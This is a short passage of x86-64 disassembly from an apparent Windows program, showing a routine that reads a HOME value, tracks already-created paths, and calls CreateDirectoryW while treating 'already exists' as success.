test r11d, r11d
jne 0x14000ad49
mov r8d, 0x1000
lea rdx, str.HOME
lea rcx, [rsp + 0x20]
call fcn.14000a540
test al, al
je 0x14000ae29
lea rcx, [rsp + 0x20]
call fcn.1400146f8
movsxd r11, dword [0x14002fdb0]
mov qword [rsi + r11*8], rax
inc r11d
mov dword [0x14002fdb0], r11d
xor r9d, r9d
test r11d, r11d
jle 0x14000ad84
mov r10, rsi
mov r8, qword [r10]
mov rax, rdi
sub r8, rdi
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000ad74
add rax, 2
test ecx, ecx
jne 0x14000ad60
test edx, edx
je 0x14000ada7
inc r9d
add r10, 8
cmp r9d, r11d
jl 0x14000ad54
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000ad90
cmp rax, 2
jne 0x14000adab
cmp word [rdi + 2], 0x3a
jne 0x14000adab
mov al, 1
jmp 0x14000ae08
xor edx, edx
mov qword [rsp + 0x2048], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x14000add6
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000adfd
mov bl, 1
cmp dword [0x14002fdb0], 0x400
jge 0x14000adfd
mov rcx, rdi
call fcn.1400146f8
movsxd rdx, dword [0x14002fdb0]
mov qword [rsi + rdx*8], rax
inc edx
mov dword [0x14002fdb0], edx
movzx eax, bl
mov rbx, qword [rsp + 0x2048]
mov rcx, qword [rsp + 0x2020]
xor rcx, rsp
call fcn.14000bab0
mov rsi, qword [rsp + 0x2050]
add rsp, 0x2030
pop rdi
ret
lea rcx, str.HOME
call fcn.14000ab70
int3